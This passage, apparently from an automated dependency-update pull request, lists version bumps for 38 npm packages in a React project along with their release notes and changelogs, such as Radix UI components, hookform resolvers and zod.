w_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.7","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"react-hook-form","old_version":"7.70.0","new_version":"7.81.0","repository_url":"https://github.com/react-hook-form/react-hook-form"},{"name":"react-resizable-panels","old_version":"4.2.2","new_version":"4.12.2","repository_url":"https://github.com/bvaughn/react-resizable-panels"},{"name":"tailwind-merge","old_version":"3.4.0","new_version":"3.6.0","repository_url":"https://github.com/dcastil/tailwind-merge"},{"name":"zod","old_version":"4.3.5","new_version":"4.4.3","repository_url":"https://github.com/colinhacks/zod"},{"name":"autoprefixer","old_version":"10.4.23","new_version":"10.5.3","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"eslint-plugin-react-hooks","old_version":"7.0.1","new_version":"7.1.1","repository_url":"https://github.com/facebook/react"},{"name":"eslint-plugin-react-refresh","old_version":"0.4.26","new_version":"0.5.3","repository_url":"https://github.com/ArnaudBarre/eslint-plugin-react-refresh"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.52.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 38 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@hookform/resolvers](https://github.com/react-hook-form/resolvers) | `5.2.2` | `5.4.0` |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.12` | `1.2.16` |\n| [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-aspect-ratio](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/aspect-ratio) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.1.11` | `1.2.2` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.3` | `1.3.7` |\n| [@radix-ui/react-context-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/context-menu) | `2.2.16` | `2.3.3` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-hover-card](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/hover-card) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.8` | `2.1.11` |\n| [@radix-ui/react-menubar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/menubar) | `1.1.16` | `1.1.20` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.14` | `1.2.18` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.8` | `1.1.12` |\n| [@radix-ui/react-radio-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radio-group) | `1.3.8` | `1.4.3` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.10` | `1.2.14` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.2.6` | `2.3.3` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slider](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slider) | `1.3.6` | `1.4.3` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.2.6` | `1.3.3` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.10` | `1.1.14` |\n| [@radix-ui/react-toggle-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle-group) | `1.1.11` | `1.1.15` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [date-fns](https://github.com/date-fns/date-fns) | `4.1.0` | `4.4.0` |\n| [framer-motion](https://github.com/motiondivision/motion) | `12.35.2` | `12.42.2` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.3` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.7` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.3` | `19.2.7` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.70.0` | `7.81.0` |\n| [react-resizable-panels](https://github.com/bvaughn/react-resizable-panels) | `4.2.2` | `4.12.2` |\n| [tailwind-merge](https://github.com/dcastil/tailwind-merge) | `3.4.0` | `3.6.0` |\n| [zod](https://github.com/colinhacks/zod) | `4.3.5` | `4.4.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.23` | `10.5.3` |\n| [eslint-plugin-react-hooks](https://github.com/facebook/react/tree/HEAD/packages/eslint-plugin-react-hooks) | `7.0.1` | `7.1.1` |\n| [eslint-plugin-react-refresh](https://github.com/ArnaudBarre/eslint-plugin-react-refresh) | `0.4.26` | `0.5.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.16` | `8.5.19` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.52.0` | `8.64.0` |\n\n\nUpdates `@hookform/resolvers` from 5.2.2 to 5.4.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/resolvers/releases\"\u003e@​hookform/resolvers's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.4.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/compare/v5.3.0...v5.4.0\"\u003e5.4.0\u003c/a\u003e (2026-05-21)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add ata-validator resolver (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/845\"\u003e#845\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix issue with toNestErrors.ts (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cul\u003e\n\u003cli\u003eadd guidance on passing context to \u003ccode\u003eyupResolver\u003c/code\u003e (useForm context) (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/835\"\u003e#835\u003c/a\u003e)  (\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/3d2992472adf5735b46b175e22bea82fddf13854\"\u003e3d29924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/3d2992472adf5735b46b175e22bea82fddf13854\"\u003e\u003ccode\u003e3d29924\u003c/code\u003e\u003c/a\u003e feat: add guidance on passing context to \u003ccode\u003eyupResolver\u003c/code\u003e (useForm context) (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/835\"\u003e#835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/56b68f3798612601190a533887847d8fef2c94af\"\u003e\u003ccode\u003e56b68f3\u003c/code\u003e\u003c/a\u003e feat: 5.3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/cf8562d88ce3a1658676b2ef996347f29e05b3ee\"\u003e\u003ccode\u003ecf8562d\u003c/code\u003e\u003c/a\u003e update readme on ata-validator\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/5e5b6103692fa599ddacca39a03bf707e73a5012\"\u003e\u003ccode\u003e5e5b610\u003c/code\u003e\u003c/a\u003e fix issue with toNestErrors.ts (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/72aacf8604d697a29a1859f8bffccf18adb86add\"\u003e\u003ccode\u003e72aacf8\u003c/code\u003e\u003c/a\u003e Revise supported versions in SECURITY.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/ad89a20d869f2dc21b905168c5578b3522c01b64\"\u003e\u003ccode\u003ead89a20\u003c/code\u003e\u003c/a\u003e feat: add ata-validator resolver (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/845\"\u003e#845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/02286db88310fd23e1de61ad880c23e210801813\"\u003e\u003ccode\u003e02286db\u003c/code\u003e\u003c/a\u003e ci: updated publish workflow to use node 24 (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/838\"\u003e#838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/2e9bc7c7d02506d336e20d8c0bae0c479f3662ec\"\u003e\u003ccode\u003e2e9bc7c\u003c/code\u003e\u003c/a\u003e Fix(zodResolver): error paths in complex unions \u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/787\"\u003e#787\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/819\"\u003e#819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react-hook-form/resolvers/compare/v5.2.2...v5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-accordion` from 1.2.12 to 1.2.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-accordion\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dialog@1.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dialog@1.1.18\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved dev-only warnings for dialogs when title and/or description is not rendered.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-alert-dialog\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-aspect-ratio` from 1.1.8 to 1.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/aspect-ratio/CHANGELOG.md\"\u003e@​radix-ui/react-aspect-ratio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/aspect-ratio\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-aspect-ratio\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.1.11 to 1.2.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed several edge cases with Avatar's loading state\n\u003cul\u003e\n\u003cli\u003eAn avatar's fallback would not be displayed again if its image component unmounted. This is now fixed.\u003c/li\u003e\n\u003cli\u003eRendering multiple \u003ccode\u003eAvatar.Image\u003c/code\u003e components per \u003ccode\u003eAvatar.Root\u003c/code\u003e was never supported and results in buggy, unpredictable behavior. We now warn about this in development.\u003c/li\u003e\n\u003cli\u003eZero-sized images were treated as \u003ccode\u003eloading\u003c/code\u003e, meaning that \u003ccode\u003eonLoadingStatusChange\u003c/code\u003e is never called once loaded. A zero-sized image now triggers an \u003ccode\u003eerror\u003c/code\u003e status on load.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed console warnings to show in test environments.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-avatar\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.3 to 1.3.7\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-checkbox\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.12 to 1.1.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-collapsible\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-context-menu` from 2.2.16 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/context-menu/CHANGELOG.md\"\u003e@​radix-ui/react-context-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed 